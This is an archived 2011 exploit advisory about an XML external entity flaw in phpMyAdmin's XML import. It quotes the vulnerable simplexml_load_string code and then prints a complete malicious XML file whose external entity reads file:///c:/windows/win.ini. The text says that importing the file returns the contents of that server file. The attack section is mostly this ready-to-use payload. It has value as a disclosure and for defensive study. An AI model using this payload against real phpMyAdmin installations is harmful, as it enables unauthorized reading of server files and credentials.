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phpMyAdmin Arbitrary File Read

phpMyAdmin Arbitrary File Read
Posted Nov 2, 2011
Authored by WooYun | Site wooyun.org

phpMyAdmin suffers from a remote arbitrary file reading vulnerability when using a simplexml_load_string function meant to read xml from user input.

tags | exploit, remote, arbitrary
MD5 | bc9944268f6ef1807f561da30c18dc53

phpMyAdmin Arbitrary File Read

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Hi

80sec report this bug on wooyun,PhpMyadmin use a simplexml_load_string
function to read xml from user input,this may be exploied to read files
from the server or network

in libraries/import/xml.php,some code like this


/**

* Load the XML string

*

* The option LIBXML_COMPACT is specified because it can

* result in increased performance without the need to

* alter the code in any way. It's basically a freebee.

*/

$xml = simplexml_load_string($buffer, "SimpleXMLElement", LIBXML_COMPACT);

unset($buffer);



/**

* The XML was malformed

*/

if ($xml === FALSE) {

so you just need to make a xml like this

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE wooyun [

<!ENTITY hi80sec SYSTEM "file:///c:/windows/win.ini">

]>



<pma_xml_export version="1.0" xmlns:pma="
http://www.phpmyadmin.net/some_doc_url/">

<!--

- Structure schemas

-->

<pma:structure_schemas>

<pma:database name="test" collation="utf8_general_ci"
charset="utf8">

<pma:table name="ts_ad">

&hi80sec;

</pma:table>

</pma:database>

</pma:structure_schemas>



<!--

- Êý¾Ý¿â: 'thinksns'

-->

<database name="thinksns">

<!-- ±í ts_ad -->

</database>

</pma_xml_export>

then import this xml in PhpMyAdmin,you will get the content you want.

From:http://www.wooyun.org/bugs/wooyun-2010-03185

:)

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